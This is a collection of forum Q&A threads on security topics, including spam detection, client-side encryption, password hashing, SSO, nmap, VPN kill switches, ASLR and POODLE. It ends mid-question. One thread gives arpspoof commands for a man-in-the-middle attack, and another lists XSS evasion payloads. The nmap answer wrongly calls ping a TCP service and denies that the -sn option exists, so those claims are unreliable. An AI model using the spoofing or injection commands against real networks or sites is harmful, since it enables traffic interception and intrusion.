One of the first things I learned about computer security is that obscurity tends to be a bad thing and shouldn't be relied upon. Start by assuming your opponent knows your security setup and factor that into your threat model. Yet, when it comes to our spam detection tools and tools from other sites, it seems like obscurity is the cornerstone of the security measures, with the assumption that the opponent doesn't know the logic the tools are using and if they did know then the tools would be worthless. Even the Tag on this question explicitly notes that the tool should not rely only on obscurity, yet here we are.

I'm making the informed assumption that a guy with a CS bachelors isn't smarter than SE's security admins. So the question is, where's the problem with my understanding? Is there some fundamental difference in Spam detection and conventional security as it applies to Kerckhoff's principal that I'm not factoring in, even though both are designed to keep malicious users from corrupting data?

Security through obscurity is Always worse than an alternative which would be compliant with Kerckhoff's principal.

However, sometimes this is simply not possible. One good example of this is DRMs. With DRM, the content distributor wants to protect a content which he gives to the user. It is not possible in this case to rely on a secret key, because at some moment the user will also access this key to be able to use the content. Here the only solution is security bu obscurity. We can see though, that it never works so well. (Remember the DRMs on DVDs? it did not take long for them to be cracked...)

Your case, with spams, is similar. There is no way to implement a "secret key" scheme to detect spams... and therefore, the only remaining option is security through obscurity. Of course it is not excessively robust, but it is the best known solution as of today.


Securing user's data against an attacker that may gain server root I'm designing a web application that is going to handle very sensitive data, storing it on behalf of its users. A kind of online safe, if you will.

A user's secure data should only be visible to her, not even to the server software or owner. This opens the way to robust security practices, such as using an end-user password to directly encrypt/decrypt her data, or better, to encrypt a symmetric key used to encrypt her data. The latter would allow changing one's password without re-encrypting all the records on the DB.

Can I ensure an attacker cannot gain access to the protected data, even if they were to obtain root access to my server?

I came up with the notion that I need to encrypt/decrypt the user data on the client side. Modern browsers and hardware make it possible for the user's password and encryption key to never leave her browser. All other techniques I can think of have fatal flaws, whereby an attacker could read the memory of my running server software and find the encryption key.

But then, how can I avoid the attacker planting a web bug into my website, or just changing my client-side script, to send the users' encryption keys their way?

Is there a technology, supported by one or more browsers, where I can require all my website's client-side scripts to be signed with some certificate of mine? For the sake of this question, assume my users trust me to write good software, so they would trust my certificate.

Is there a browser extension that does such checks, that I could recommend my users to install?

In case there is not, how is this threat approached in the industry? Is auditing the only solution? For example, checking my website periodically from external IPs, to make sure that the client-side scripts have not changed cryptographic hash.

Should I forgo the notion of doing something like this with open web technologies and solve the issue by using a trusted software distribution system such as Apple / Google app stores? Would this just move the issue to somebody else's server, or does it actually address the underlying problem?

Can you recommend any good practical books / blogs / articles on the subject?

Perhaps one of the most interesting case studies of exactly this type of situation is www.blockchain.info, which employs client-side encryption and obviously has a lot at stake: the contents of millions of users' bitcoin wallets.

Their initial approach was a browser extension that verified the website's source assets against a predefined list of hash sums: http://web.archive.org/web/20120905110346/http://blockchain.info/wallet/verifier. This approach lasted for a year or two, when it was deprecated in favor of a browser extension that packages their entire client-side codebase in the extension itself.

Unfortunately I can't find a blog or article from them explaining this change, but googling for these terms will find you comments that suggest the "verifier" approach was not entirely bullet proof.

The extension approach certainly reduces the attack vector as the code responsible for the client-side encryption is only downloaded once, and additionally because app stores such as the Chrome Web Store or Google Play require updates to be signed with the same key as the initial version, ensuring that updates can't be tampered with - of course assuming that you manage to keep your private key secure, and that no exploits are found against the browser or app store platform.

You would definitely be interested in reading the famous "Javascript Cryptography Considered Harmful" article and the many follow-ups and rebuttals out there: http://matasano.com/articles/javascript-cryptography/


How to replace an old password hashing method with a newer one in software? The software that our company builds just went through a security audit. The auditors flagged our use of MD5 for hashing passwords that users can set if they want a password on their files. Having looked in to it, it seems that I should replace it with PBKDF2.

But to remove all MD5 hashing methods from the software this will mean users will need to temporarily lose all their passwords? As in, we will need to communicate to customers that if they update, all their files will not be password protected? I mean, I can check that an old hash exists and force them to manually set a new password but the password could be set by anyone which seems like kind of a big flaw. If an attacker has access to their file and the new version of our software, they will get access to the file with out password.

This is a common problem.

The usual answer is twofold:

For users who haven't logged in since the change: use the old hash value as the input for the new hashing scheme.
Whenever somebody logs in after the change: Use the new password directly as input for the new hashing scheme.

Use an additional column in the new table to indicate how the new hash was calculated.

Further reading

Hash function change
https://stackoverflow.com/questions/14399750/moving-old-passwords-to-new-hashing-algorithm
https://stackoverflow.com/questions/8864239/how-to-migrate-passwords-to-a-different-hashing-method
https://stackoverflow.com/questions/6469913/how-to-migrate-a-password-hash
https://webmasters.stackexchange.com/questions/1062/migrate-user-accounts-out-of-system-with-hashed-passwords


Vocabulary matters: link between faults and weaknesses I am trying to make the link between faults and weaknesses (As defined by Common Weaknesses Enumeration, a MITRE project). The word "fault" is generally used in the reliability domain, to designate the cause of an error i.e., the cause of the deviation from a correct service delivered by a system to an incorrect service.

The word "weakness" is widely used in the cybersecurity community, however, its meaning is not always clear. From my readings, a weakness is defined as a mistake in software that, in proper conditions, could contribute to the introduction of vulnerabilities within that software. A vulnerability being the occurrence of a weakness in a system.

As I wrote, I am trying to put into relation these two concepts (faults and weaknesses), to create a relation between reliability and security. From my observations, it is fair to say that a weakness is caused by a fault. When you consider a weakness such as "incorrect privilege assignment", it is clear that this could happen only because of a bad development of your system, which can be classified as a development fault.
In my opinion, if a development fault is not a weakness (i.e., cannot lead to any vulnerability), it means that the part of your system where the fault resides is not useful, hence could be removed.

My question is: are all development faults weaknesses? Else, do you have a concrete counterexample?

Thanks for your help.

This is a difficult question because it is difficult to define a weakness exactly, since the definition involves a considerable amount of speculation: it's something that might lead to a vulnerability. There are a lot of bugs that can be considered weaknesses. CWE says that a weakness is (emphasis added):

  a type of mistake that, in proper conditions, could contribute to the introduction of vulnerabilities within that product. This term applies to mistakes regardless of whether they occur in implementation, design, or other phases of a product lifecycle.

And if you take a look at the lists of weaknesses on CWE's website, you will see that it includes a lot of generic mistakes and bad practices. Even a program that works perfectly without any functional bugs might be full of weaknesses under the hood. For example, in the list of weaknesses I have found the following interesting entries:

Use of deprecated of obsolete functions
Use of redundant code
Incomplete documentation
Insufficient logging
Logging of excessive data
Empty code block
Incorrect calculation

So it sounds like anything that is implemented in a less than ideal way is going to be a weakness after all. Is every bug a weakness then? The answer is probably yes, as long as it occurs in an application or in a context where security is important. A glitch in an offline single-player arcade game? Not a weakness in my opinion. Code smell in an e-commerce application? That's probably a weakness, also according to CWE.


Can Kerberos encrypt network traffic between servers? Working in a coporate environment, which uses Active Directory, I overheard someone making a comment stated the Kerberos protcol can be used to encrypt network traffic between Windows servers. Can this be possible with Kerberos?

My understanding was Kerberos is a network authentication protocol of which one of the functions was to allow servers to authenticate each other. The tokens are encrypted but the network traffic between servers won't be unless something like a SSL connection is implemented.

Kerberos is used as an authentication protocol, but it's fundamentally a key agreement/exchange protocol.

When a user gets a ticket from Active Directory for an application server a session key is generated and stuffed into the request. The application server decrypts the ticket and now has a session key. The server may decide it doesn't trust that key and in a final act tells the client to use a new provided key.

Once the client and server agree on a key they can communicate privately.

There are multiple catches to this though. The Kerberos spec sort of dictates how you send data back and forth, but it's mostly left to the developer to figure it out. Windows has an implementation, but you don't get to control the parameters like you do with TLS. This means developers tend to just take the key, derive it into something else, and shove it into a seperate protocol.

That said, you probably don't want to use Kerberos for secure communications. You have to build a lot of boilerplating into your code to get it working safely, whereas TLS already handles most of this for you.


What level of access do clients on a secured wireless network have as to the traffic of other clients with wireless isolation enabled? Given a secure wireless network (lets say WPA2) with clients A and B, what level of traffic can A see from B? if the router has "wireless isolation" enabled? does it make a difference?

This has already been asked and answered multiple times. Best answer is here: An attacker knowing the password can intercept with WEP, WPA-PSK and WPA2-PSK, but with Enterprise WPA/WPA2 + 802.1X authentication instead of PSK every client gets its own encrypted "tunnel".

PSK also has the disadvantage of being a "shared secret": changing is hard, as everyone needs to be notified, and is easier to get known to third parties, the more people are using it.

Wireless isolation doesn't solve the problem. It isolates the devices from each other on an IP level, this is true, but the attack outlined in the answer linked above still works. Wireless isolation works on a "higher level" than the attack: it stops ip packages from going from one host to another. Furthermore, when used in combination with PSK, this "wireless isolation" is snakeoil (like MAC whitelisting or SSID hiding). You don't get any real advantage from enabling it. By doing MITM attacks, which are easy when the PSK is known, it can be bypassed.


Sending OTP before authentication / password verification One of my old, rarely used computers had still an old password for my pyszne.pl / takeaway.com account stored in my browser's password manager. I tried to log into my account from that computer and saw a page saying that a one-time password was sent to an email address associated with the account that I am trying to use. I needed to provide this OTP before continuing.
I waited about 5 minutes until OTP popped in my mailbox and after providing it I was a bit shocked to see a message that the password that I have provided is incorrect. Verifying this in the browser's password manager confirmed the fact.
What am I missing here? What is the reason (or possible advantage) for sending OTP only after validating user name (email address) as existing and before verifying the password?
In all systems, except this one, I have used so far, this was exactly the opposite. First, try to authenticate user/check provided password and only if it is correct, then send the OTP to their email address.

This is certainly not normal. What it can do is protect the account from brute-force login attempts. An attacker will never know if a password is correct or not since they need the OTP from the email to be able to tell.
However, this approach has its own problems. For instance, every brute force attempt will result in you getting an email. This can flood your account and make it difficult to log in legitimately if someone is testing your account. So the site is depending on your email service to protect your account instead of using account protections themselves. And you hope that they have some protections against email floods.


How to implement cross-domain, auto-login SSO without browser redirects for unlogged users? I need to implement an SSO solution with the following requirements:

Cross-domain: Let's assume I have a.com, b.com and sso.com. If I become logged in through a.com, I shouldn't need to login when I visit b.com.
Centralized: Unlogged user clicking "Login" on a.com is shown a login screen hosted on sso.com. Credentials are checked by sso.com in data source only accessible to it.
Auto-login: If the user has logged in to a.com, and subsequently visits b.com, they will be immediately logged in. I.e., on b.com, instead of a "Login" link, we want to display right away their username, etc - without the need to click anything.
No redirect for anonymous users: Vast majority of my users will use the sites without having an account. Therefore, when they first come to a.com, or b.com, there must not be a quick redirect of the entire page to sso.com and back to check if they are logged in. Such a redirect would be bad for SEO and latency.

For the few users who have logged in to a.com and then go to b.com (or vice-versa), a redirect is acceptable.

There's a lot of examples on the web for SSO, especially with OAuth2, OpenID Connect, and CAS, but I could not find a recipe for these specific requirements. The closest is the Stackoverflow SSO guide (here), but they have some extra requirements I don't have (e.g. login should still work if SSO server is down).

It seems to me this OpenID Connect scheme should do it. Note though that I'm not a security expert, so don't use it without further confirmation.

User is unlogged to a.com, b.com, sso.com.
User goes to a.com, clicks "Login".
Redirect to sso.com, with return URL on a.com as param.
User provides valid credentials. sso.com accepts them, redirects to a.com with Authorization Code as param. There's also an SSO session cookie for sso.com on the redirect response.
Browser follows the redirect, queries a.com. a.com server sends Authorization Code to sso.com in backend, receives Access Token & ID Token, sets session cookie on a.com. User is now logged in on a.com.
User goes to b.com.
Javascript on b.com makes a silent CORS AJAX call to sso.com, to a custom endpoint (e.g. sso.com/has-sso-session). The endpoint responds with essentially true / false based on the presence of SSO cookie on the request.
If the response is:

true, Javascript redirects the browser to sso.com, with return URL on b.comas param. This triggers regular OpenID Connect authentication, which will be automatic because user has an SSO cookie. At the end of it, b.com server sends Authorization Code to sso.com in backend, receives Access Token & ID Token, sets session cookie on b.com. User is now logged in on b.com.
false, Javascript sets an SSO check failed session cookie on b.com. This prevents further checks when browsing b.com, unless the user clicks "Login".


explain NMAP results When I ran nmap -sn x.x.x.x/24 on a network behind Cisco ASA firewall I get 255 hosts up even though there are only three hosts on that subnet.

If I run nmap -T4 -F x.x.x.x/24 I get all 254 IP addresses coming back with port 53 and 110 filtered

Is this likely the ASA doing something?  know that there are only three hosts - a switch and two VMware hosts on this subnet.

You are probably perfectly right: Your firewall is "doing something". This is the role of a firewall. And possibly, one of the reasons to have a firewall might be to prevent port scans, by the way.

You have to ask yourself how nmap decides if a host is "there", "alive" or "up" or not. A naive idea often is to try and ping it, though ping is a specific TCP service which may be implemented and enabled or not and which may be filtered or not. So the rule of thumb here is: If you get a reply to a ping package, it is very likely that the host is up. If you don't get a reply, you simple did not gain a lot of information from that ping.

Having said that, in your examples, -sN (I guess this is what you meant as I think there is no option -sn in nmap) and -T4 -F are not contradicting scan methods, but in your second example, you are leaving it to nmap to decide how to scan, which means it will default to a SYN scan and fall back to a connect scan if it cannot perform a SYN scan. Note that the reason why it may not be able to perform a SYN scan may well be a problem with the client side, i.e. the permissions of the nmap process itself, not about the scan target.

From nmap.org:

  [The SNY scan] technique is often referred to as half-open scanning,
  because you don't open a full TCP connection. You send a SYN packet,
  as if you are going to open a real connection and then wait for a
  response. A SYN/ACK indicates the port is listening (open), while a
  RST (reset) is indicative of a non-listener. If no response is
  received after several retransmissions, the port is marked as
  filtered. The port is also marked filtered if an ICMP unreachable
  error (type 3, code 0, 1, 2, 3, 9, 10, or 13) is received.

In contrast to that, a connect scan does what it says. It's not a half connect but a connect. (Note that a major difference is the fact that a connect is usually seen on the target while a half-connect (SYN scan) is most often undetected.

Your -SN example in contrast performs a so-called null scan. It's called null because it sends packets in which none of three possible flags are set. This goes very deep into TCP implementation and would be a bit hard to explain in all detail in this answer, but here is what nmap.org explains:

  These three scan types [...] [of which the Null scan is one of them]
  exploit a subtle loophole in the TCP RFC to differentiate between open
  and closed ports. Page 65 of RFC 793 says that “if the [destination]
  port state is CLOSED .... an incoming segment not containing a RST
  causes a RST to be sent in response.” Then the next page discusses
  packets sent to open ports without the SYN, RST, or ACK bits set,
  stating that: “you are unlikely to get here, but if you do, drop the
  segment, and return.”

  When scanning systems compliant with this RFC text, any packet not
  containing SYN, RST, or ACK bits will result in a returned RST if the
  port is closed and no response at all if the port is open. As long as
  none of those three bits are included, any combination of the other
  three (FIN, PSH, and URG) are OK.

In other words, while some scans look for positive results, this one will look for negative results.

Now you may wish to consult your firewall's settings to understand how the firewall deals with half connects (i.e. SYN scans) on one hand or Null scans on the other. At least your firewall seems to be doing a good job in hiding the topology behind it.

Assuming that you allowed all ports for the entire subnet through your firewall, try a connect scan:

nmap -sT x.x.x.x/24

If that reports anything more than your three known hosts up, then you have a different problem.


How to prevent popping up a login dialogue using a malicious hotlinked image and HTTP Basic Auth header? While using Firefox to browse my forums, I noticed that a malicious user posted an image (via hotlinking, not by uploading to my server) with the extension .png which complies with the forum rules (allowing only .png, .gif, .jpg, .bmp, etc.). However, the user had used .htacess in a way that an HTTP Basic Auth box pops up asking the user to re-authenticate.

This can fool some of my users into inputting their credentials into the box, while in reality the authentication box is for the server on which the image is hosted.

How can I prevent this attack?

I think I know what's happening with you. Actually, that's exactly what I do with the image in my "about me" section in my StackExchange profiles. It's a .php file that grabs some information about the visitor (IP address, browser type, whether the visitor made the smiley happy or not, etc.). I simply rewrote the URL to show two different images that are in fact the same .php file.

If you allow people to hotlink files (especially ones automatically requested by the browser, such as images), then there's nothing you can do about this. The user's browser will connect to the other server (on which the image is hosted) and it will request the image from there. To the browser, the link genuinely points to a .png image. It cannot tell the difference, neither can your server/site.

This is a social engineering attack in which the attacker hopes that the user uses a browser that pops out an authentication dialogue for mixed contents. Sadly, Firefox is one of those browser. In a lot of the cases, if the user is presented with a login dialogue on site A that is actually requested for content loaded from site B, the user will very likely enter site A's credentials (your site) and have his account stolen.

The solution: You'll have to disallow hotlinking contents of such sort and re-upload any hotlinked images to your server and then serve them in your website from there.

(As of March 2018, Firefox is no longer affected by this issue and like Chrome will only show the popup of the loaded resources is on the same domain)


MITM using ARP spoofing with Kali Linux running on VirtualBox with bridged wifi network adapter At home I have two laptops (running on Windows). With one laptop (attacking laptop) I try to get in the middle of the connection of other laptop (victim laptop).

To do this is run Kali Linux in a virtual environment using VirtualBox on the attacking laptop. In VirtualBox I bridged my build-in wifi adapter to the virtual environment (I have no external USB wifi adapter).

I use the following commands:

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 192.168.1.63 -r 192.168.1.254

After executing the commands above, I can see that the physical address of the 192.168.1.254 (the router) changes in the victim's laptop ARP tabel (using arp -a).

The new physical address is the MAC address of the host OS of the attacking laptop (so not the MAC address of the virtual adapter that Kali Linux uses)!

Therefore, the victim laptop start sending information to the wrong MAC address. It looks like Kali Linux is not receiving any data of interest and also cannot forward the data.

As a result, the victim laptop loses its internet connection while Kali Linux should forward the ethernet traffic of the victim laptop to the actual destination.

1) Why does the MAC address in the ARP tabel of the victim laptop becomes the MAC address of the host OS of the attacking laptop, and not the MAC address of the virtual adapter used by Kali Linux?
I think it has something to do with the briding of the virtual network adapter with the build in wifi adapter. Maybe there are details about the briding I do not understand?

2) What should I change in order to make this attack work.

In Wireshak I can capture some data but I cannot make anything out of it. It seems like Wireshark is also capturing the traffic of the host OS.

Thank you for any clarification!

1)
The problem is indeed that for communication with the VM the host's MAC address is used.
This is what VirtualBox does when bridging to a wireless network adapter:

 From the VirtualBox manual: 6.5. Bridged networking

  Note:
  Bridging to a wireless interface is done differently from bridging to a wired interface, because most wireless adapters do not support promiscuous mode. All traffic has to use the MAC address of the host's wireless adapter, and therefore VirtualBox needs to replace the source MAC address in the Ethernet header of an outgoing packet to make sure the reply will be sent to the host interface. When VirtualBox sees an incoming packet with a destination IP address that belongs to one of the virtual machine adapters it replaces the destination MAC address in the Ethernet header with the VM adapter's MAC address and passes it on. VirtualBox examines ARP and DHCP packets in order to learn the IP addresses of virtual machines.

2a)
As a solution I use a wired network adapter. I used an external USB adapter which is operated by the host. I bridged it with the VM. I tested this and it does work.

2b)
What probably also works is to put set the field 'Promiscuous Mode' to 'Allow All' in the Advanced section of the Network adapter settings of the VM. Then the host will pass all traffic to the virtual adapter. I haven't tested it but I expect it to work.


Reply to my html injection? I am practicing HTML injection on my friends website(he knows that I am practicing). So I found one vulnerability if I type  in search box username or password website ignores it. and I practiced some tags in search box like  and when I did this as query it gave result Error: Please enter a query to search. and in that tmp.js file was a simple alert('hey'); but website didn't pop hey.

So I tried some other injections from different websites and got these as output(all in search box)

INPUT:    <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
OUTPUT:   Results for "<input type="image" src="denied:javascript:alert('XSS');">"

2)

INPUT:   "<xml ID=I><X><C><![CDATA[<![CDATA[cript:alert('XSS');"">]]>"
OUTPUT:  Results for """"

3)

INPUT:   "<xml SRC=""xsstest.xml"" ID=I></xml>"
OUTPUT:   Results for """"

Question: so is the website vulnerable can I inject somehow javascript, or can I enter backend somehow? or should I inject something else?(website uses PHP as backend)

Results for """"

If you see this in the rendered page, the page is not vulnerable to XSS, because the < and > characters are correctly escaped. The source would look like this:

  Results for ""&lt;span&gt;&lt;/span&gt;""

As you can see your HTML tags don't end up as HTML tags in the source, so it is not possible to inject tags into the HTML.

Now, it seems that your site also does some sanitation on the input. It removes some tags and alters the javascript: URL. This is not a sufficient method to protect against XSS. It is pretty hard to write an XSS filter correctly, and most of the time such filters can be bypassed by using some combination of tags and attributes.

The correct way to protect against XSS is to HTML encode on output.


Is it possible to buy multiple hardware MFA devices with the same key? I would like to secure an AWS root account with a hardware MFA device, which seems to be simple enough, but I also want a backup device to store in a different location. AWS doesn't seem to support multiple MFA devices on the same account, but if I could get a synchronized pair of MFA devices they would effectively be a single device to AWS.

Is it possible to buy pairs of such devices?

If you use the virtual one, you can print the QR code and/or write down the secret. Multiple Google Authenticators can scan the same code, or you can type it in manually to Google Authenticator.


Copying the email address to a forgotten password page I am responsible for a website and I am questioning the logic of some 'Industry standard' policies that I have been asked to comply with.

When a user logs into the website, they get a message to tell them the login details are incorrect, but we do not specify if it is the username or the password that is incorrect.

If the user then realizes they have forgotten their password (should have used a password manager), they can click on the forgotten password link and enter their email address and press enter. They are then shown a message telling them that if they have an account, the account has been locked and that a password reset email has been sent to their email account.

So far, there is no leakage of information about which credential is incorrect or whether an account exists for the email provided.

To improve the user's experience, I suggested that if the user clicks on the forgotten password link, if it is available in the login field, we should copy the email address into the email address field in the forgotten password page.

However, I have been told this is against 'Industry Standards', even though nobody can show me anything to back this up!

I understand that simply adding it to the URL would be bad, as it would allow people to cycle through email addresses and lock people's accounts out, causing inconvenience to the users.

What security vulnerability, if any, would make this bad practice?

Edit:

An update for any new readers.

There have been some great answers on here and I am grateful for all of the input.

The process had a flaw, in the lockout on forgotten password and this will be amended. The message when a locked out account still gives the email address or password incorrect message, so the user would not know the email address was a valid one.

None as such
The change that you are proposing seems only to be a user experience change. Yes, someone can say that it will make it user friendly for malicious users to lock normal users out of the system but that's not on you.
The bigger problem for you is your policy of locking the user's account when they click on forgot password. It makes it very easy for a malicious user to lock you out of your account. They just have to go to forgot password -> Enter the valid email id -> Hit the reset button.


Should DSA keys be considered deprecated? The gist of openssh deprecates dss-keys appears to be:

  "In light of recently discovered vulnerabilities openssh deprecates DSA keys."

Does this mean I should generally consider DSA keys deprecated? The "upsteam announcement" linked to gives little more information, and I can't seem to find anything else about "recently discovered vulnerabilities".

OpenSSH's decision appears to be motivated by some sort of confusion that originates from their own code base; see this answer for an analysis.

In SSH, DSA keys are deprecated because the people who get to decide what is supported and what is not (the OpenSSH developers) said so.

On a more general basis, there is no newly discovered vulnerability on DSA. There are issues related to key sizes, which were known and keep being known; basically, a DSA Key in a 1024-bit modulus is not substantially stronger than a RSA key with a 1024-bit modulus, so if the latter is to be avoided, so is the former. The current versions of the DSA standard allows the modulus to have size 1024, 2048 or 3072 bits. If you use DSA then you will want to make the modulus size 2048 bits (or 3072 bits if you want to spend more CPU). See this site for lots of data on estimating strength based on key length.

However, one may note that there is little reason to prefer DSA over its elliptic-curve version ECDSA: ECDSA public keys are shorter (this saves on network bandwidth) and the ECDSA version is less computationally intensive (this saves on CPU). While this does not mean that "DSA is deprecated", this still implies that ECDSA is preferable, unless it cannot be used due to interoperability issues with legacy systems. Note that the same kind of interoperability issues may prevent you from using a 2048-bit DSA modulus.


How do I check the code of a Chrome extension to make sure it's not stealing my info? I've been reading more and more about just how much access browser extensions can have to your data. This is a little unsettling, so I'm curious if there is a way to Vet these extensions and make sure they're not sending any personal info back to their servers.

Is there a way to check this?

I know there is a Chrome Extension called: Extension Gallery and Web Store Inspector, and it seems that it would give me some good info, but I'm not a code guy so honestly I'm not sure what I'm looking for with this info. Thoughts?

First of all I would pay attention to Permission Warnings.

Performing an analysis of an extension is a game of cat and mouse.  You can sniff the network traffic and the attacker can use Stenography.  You could unpack the extension and look at the JavaScript code,  but the malicious code could be obfuscated or underhanded.

That being said.  Chrome runs extensions in a sandbox.  These extensions run JavaScript very similarly to JavaScript that run in the context of a website with only a few added permissions. These extensions don't have access to the shell or the file system or even to another extension's data store.   They are limited in the number of HTTP requests that they can make to prevent DDoS.   Its not a very ripe target.


What security implications does DNS prefetching have? To improve performance, most browsers prefetch DNS records for linked resources in the background so that the browser already knows where to send the request the instant you click the link. This is called DNS prefetching.

This behaviour can be disabled by setting the x-dns-prefetch-control HTTP response header to off. I have been recommended to do so "for security reasons", but what I fail to understand is - what adverse security or anonymity implications would allowing DNS prefetching have?

This could give rise to an information leakage vulnerability.

Say your whole site is served over HTTPS, without DNS prefetching disabled. There may be certain pages on your site that reference other external resources.

For example, imagine a banking website that customers can login to, and that the page for managing mortgages has some external links unique to that page.

With DNS prefetching enabled, a suitably places eavesdropper can infer that a user has a mortgage with that particular bank because when this page is visited DNS requests will be observed to resolve the external resource hosts referenced by that page.

Of course, if the user decides to visit those links manually, the same could be inferred without prefetching in this case. However, with more complex sites there may be unique combinations of resources on different pages giving away to observers which pages on the otherwise private session have been visited.

Whether this is an actual security vulnerability or not depends very much on the context of the website and the placement of links. Another mitigation instead of disabling would be to include all, or a random selection of, external references on every page using the

<link rel="dns-prefetch" href="//example.com" />

directive.


Is it safe to publish a REST API client on npm even though the API is not intended for public use? I am build a website in Angular which communicates over my REST API on my backend server.

I have managed to auto-generate the code (TypeScript) for my client and now I need it to be available on deployment.

There are several ways to do this and the, in my oppinion, easiest way would be to just publish the client to https://npmjs.org/ and then let everything be installed on deployment from there. Business as usual.

The question is:

Is this a good idea?

Obviously, there's nothing that really can happen, because every client needs a client id and password in order to get dealt with by my server.

But: With this I am simply exposing all endpoints to my backend.

Wouldn't I do a favor to anybody who want to sniff my API? Surely, there must be ways to get that information another way but at least not that easy.

Are my concerns legitimate or basically nonsense?

If you are providing a public API already, the security concern should be focused with the server side endpoints and not the client.

Yes, providing a public client to your API will allow any one to investigate your API, but anyone can already do that. The API will just make it easier to determine what endpoints exist and how they are used.

If you are concerned with the security of your API, you should focus your attentions there first. Providing a public client for the API doesn't increase your attack surface.


Iptables as vpn killswitch but access to internal network currently I'm using iptables as a kill-switch for my VPN connection. Therefore I only have one rule :
 -A OUTPUT -o eth0 -m owner --uid-owner 1000 -j DROP
everything else is accepted.

Now the problem is I actually want to access other computers in my internal network which runs on the eth0 interface but I still want to have a VPN kill-switch kind of thing...

I already tried a few things but as I'm no networking professional I'm pretty much stuck here.

Appreciate every kinda help.
Cheers!

I had the same problem and a couple of similar ones so here's my complete iptables OUTPUT chain which is all I use and should solve your problem and then some.

-A OUTPUT -d 192.168.1.0/24 -j ACCEPT
-A OUTPUT -o lo -m owner --uid-owner 110 -j ACCEPT
-A OUTPUT ! -o tun+ -m owner --uid-owner 110 -j DROP

Here's what all it's doing:

-A OUTPUT -d 192.168.1.0/24 -j ACCEPT

This command allows all traffic on your local network.  The -d parameter causes the rule to apply to all traffic going to the destination ip.  Change 192.168.1 to the first three parts of your local network ip address.  For example if your local network ip ranges is from 15.15.15.0 to 15.15.15.255 change that line to

-A OUTPUT -d 15.15.15.0/24 -j ACCEPT

The .0/24 at the end will include all ip addresses on that network.

-A OUTPUT -o lo -m owner --uid-owner 110 -j ACCEPT

This allows local programs on your computer to talk to each other.  This was causing problems for me so I thought I would include it.  Specifically one of my programs needed this to work with the vpn client.

-A OUTPUT ! -o tun+ -m owner --uid-owner 110 -j DROP

These two commands drop any outgoing packets that don't go out a tun connection.  In yours you use eth0 instead of tun+.  Have you tested whether that actually works as a kill switch?  I don't think it should because when your vpn connection goes down eth0 should remain.

In order for this to work the order matters. If the accept commands aren't first they will get blocked by the drop commands.


Is ASLR useless in preventing attacks such as return-to-libc in linux? If i'm correct, due ASLR we load libc into some random address. And then in order to make that happen without allowing write permissions of text pages within memory we use plt/got. Now I can simply jump back into some libc@plt function that is well-known before execution of the program and pretty much bypass it. So does return-to-plt make the entire concept useless?

Yes, if PIE is disabled. It is often said that ASLR's effectiveness is significantly reduced for applications which are not compiled with PIE (Position Independent Code) support. When PIE is not used, the program must rely on a fixed PLT, created during linking, to resolve the addresses of functions in shared libraries. When ASLR is used and PIE is enabled, code-reuse attacks in general are mitigated, though infoleaks are still so ubiquitous that ASLR can often be defeated with side-channel attacks, making it close to useless against local malicious code and limiting its effectiveness to attacks over the network and scriptless exploits. There are several other reasons ASLR without PIE is weaker and why less randomization is used, as explained in another answer.


Stop POODLE vulnerability in Oracle Application Server Our Enterprise is using Oracle Application Server in front of Oracle database. We are using Oracle wallet manager(Installed with Oracle client 10) to create self-signed certificates. As you may know wallet manager in v 10 has some limitation in key size(I don't know exactly the limitation and i hope you could help me on it ).

When we want to issue a certificate at first we create a certificate request with wallet manager and then issue based on certificate in Windows server CA.

Now I have some questions:

1- What exactly indicates the ssl/tls version? I mean the web server, client or the certificate?
is it possible the web server supports the tls v1.0 but the certificate doesn't?

2- What are the limitations of using wallet manager in V10 to issue the self-signed certificate?

3- Is there another way to create a self-signed certificate without wallet manager V10?(when  I try the newest versions oracle application failed to open a certificate)

4- and my most important question:
Can i stop POODLE attack in oracle application? (I read somewhere that the POODLE vulnerability doesn't apply in TLSV1. so I guess its better to ask my question this way:
does Oracle application server support the TLSV1? )

I really appreciate any sort of help.
thank you.

1- What exactly indicates the ssl/tls version? I mean the web server, client or the certificate? is it possible the web server supports the tls v1.0 but the certificate doesn't?

The certificate has nothing to do with the TLS version negotiated. For a brief explanation, to establish a TLS connection the client and server undergoes a handshake process to negotiate various things that will be used such as the TLS version and the cipher suite. The client informs the server about the maximum TLS version it supports as well as the list of cipher suites it prefers. The server then decides.

  4- and my most important question: Can i stop POODLE attack in oracle application? (I read somewhere that the POODLE vulnerability doesn't apply in TLSV1. so I guess its better to ask my question this way: does Oracle application server support the TLSV1? )

The POODLE attack only applies to SSL 3.0 connections using CBC cipher suites. Anything using TLS 1.0 and up should be safe. There have been reports that some TLS 1.0 implementations are affected due to misimplementing the specification but I do not believe Oracle's products are amongst them.


security of libgcrypt when cross-compiling for windows? Looking at libgcrypt, specifically secmem.c it seems that it does not account for windows-specific memory handling (e.g. VirtualLock) and in fact there is a very troubling comment:

#elif defined (HAVE_DOSISH_SYSTEM) || defined (__CYGWIN__)
    /* It does not make sense to print such a warning, given the fact that
     * this whole Windows !@#$% and their user base are inherently insecure. */

Does this indeed mean that on windows, libgcrypt is not properly hardened against pagedumping etc. ?

VirtualLock is not a security mechanism. It's a performance one.

There's no guarantee the VirtualLocked pages won't be swapped out. Even if they aren't, they'd still get dumped on "hibernation".

The equivalent for VirtualLock in POSIX is mlock, which is implemented by Cygwin(*) and will be used by libgcrypt.

Beyond memory locking, security-hardening encompasses a whole bunch of things to consider.

We assume libgcrypt is written with security as a priority, which includes many best practices to avoid stack overflows, buffer overflows, major flaws in the PRNG, etc.

This includes doing a best-effort attempt at avoiding sensitive data from being left around easily accessible. Sensitive data should be kept in memory for as little time is possible, and during this short time protected as best as possible.

libgcrypt uses mlock as part of this effort, and it will use it on any target platform that has it.

If it's not available, it will print a warning and move on (best-effort). Except in platforms where it doesn't print a warning for various reasons.

The reasons for not printing the warning in windows (that horrible comment) are probably a leftover from older times, when cygwin didn't have an mlock implementation, and Windows' VirtualLock was a nop in all the non-nt versions. Notice that that elsif is only reached if HAVE_MLOCK is false. Check your config.h file after running ./configure to verify yourself that it's set to true under Cygwin.

To summarize: to the best of libgcrypt's developers' knowledge, libgcrypt is properly hardened on all target platforms. If you have reasons to believe otherwise, you should probably file a bug to let them know.

*: Cygwin seems to actually bypass VirtualLock and use NtLockVirtualMemory directly.


understanding MITM attack hi Everyone please correct me if im wrong for my understanding for the man in the middle attack used in a variant of diffie hellman key exchange .

am i right to say that a protocol is susceptible to the man in the middle attack, if each participants is having their own private key of yP and public key of g^yP mod p and

A -> B : g^rA mod P

B -> A : g^rB mod P

